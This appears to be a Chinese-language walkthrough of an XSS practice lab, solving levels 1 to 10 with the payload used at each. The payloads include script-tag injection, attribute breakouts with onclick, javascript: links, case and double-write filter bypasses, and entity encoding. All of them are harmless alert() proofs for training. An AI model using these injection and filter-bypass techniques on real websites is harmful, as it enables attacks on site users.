Level1:
检查页面源代码:
function函数:
(function(){try{let tn = '';if(tn.includes('oem')){Object.defineProperty(document, 'referrer', {get: function(){return '';}});}else if(tn.includes('hao_pg')){if(!document.referrer.match('tn=')){Object.defineProperty(document, 'referrer', {get: function(){return 'https://www.hao123.com?tn=' + tn;},configurable: false,});}}}catch(e){}})();
分析:else if条件为false 假,反推if条件为真。
if(tn.includes('oem'))
检查变量tn
是否包含字符串'oem'
。由于在这个例子中tn
是空字符串,这个条件永远不会为真。
如果tn
是从外部源获取的值,则执行接下来的代码块。
使用用Object.defineProperty
方法修改document
对象的referrer
属性的行为,get function(),跳到下一题,返回confirm("完成的不错!");
总结:插入恶意脚本<script>alert(1)</script>就行没什么特殊的。
Level2:
检查页面源代码:
分析:先插入恶意脚本发现与文本杂合,没有输出,所以我们要将恶意脚本闭合。
Level3:
输入框输入<script>alert(1)</script>,"><script>alert(1)</script><"无回显。
推断:script标签不中用
换回显脚本为:οnclick="alert(1)"
检查页面源代码:
value="οnclick="alert(1)""说明插入的脚本正确,需要修改一下闭合方式'οnclick='alert(1)
再点击输入框。
Level4:
与 Level3:回显相同,输入'οnclick='alert(1) 仍然无回显。
检查页面源代码:value=" 'οnclick='alert(1) " ->闭合方式错误
输入"οnclick="alert(1),再点击输入框。
Level5:
输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)
重新构造恶意代码"><a href=javascript:alert(1)>a</a>
解释:
<a>
标签:HTML中用于定义超链接的元素。
a href=javascript:alert(1)即标签的href
属性即被设置为javascript:alert(1)。
>a<
:这是<a>
标签的开始和结束标签之间的内容,即链接的可见文本是“a”,即点击a浏览器会执行javascript脚本,弹出弹窗1。
Level6:
输入'οnclick='alert(1),自动在插入的恶意代码中插入_,成为'o_nclick='alert(1)
输入"><a href=javascript:alert(1)>a</a>,成为<a hr_ef=javascript:alert(1)>a</a>
重新构造恶意脚本......感觉没知识储备了。
试试绕过怎么样:
'oNclick='alert(1) ->闭合方式错误。
"oNclick="alert(1)
"><a href=javascript:alert(1)>a</a> 同理
Level7:
输入'oNclick='alert(1) ->on被删除了
试试双写绕过:'ooNnclick='alert(1)
绕过成功,只是闭合方式还有些问题,换一下就ok。
Level 8:
输入'oNclick='alert(1) ->on被删除了
试试双写绕过:'ooNnclick='alert(1) ->不行,但我们注意到输入的恶意脚本都被转化_。
尝试javascript
伪协议执行代码HTML中的数字字符引用来表示ASCII字符
https://www.matools.com/code-convert-unicode
javascript:alert(1) ->
javascript:alert()
点击有情链接:
Level 9:
与 Level 8类似,输入ASCII字符,但是并没有转义
http:// 并用注释符注释->进行转义
javascript:alert()/* http:// */
Level 10:
没有登录框,页面源代码也没什么东西,无法构造url
只能作弊,查看php源代码试试?
?t_sort=" οnclick=javascript:alert() type="button
点击按扭(透明长方形框)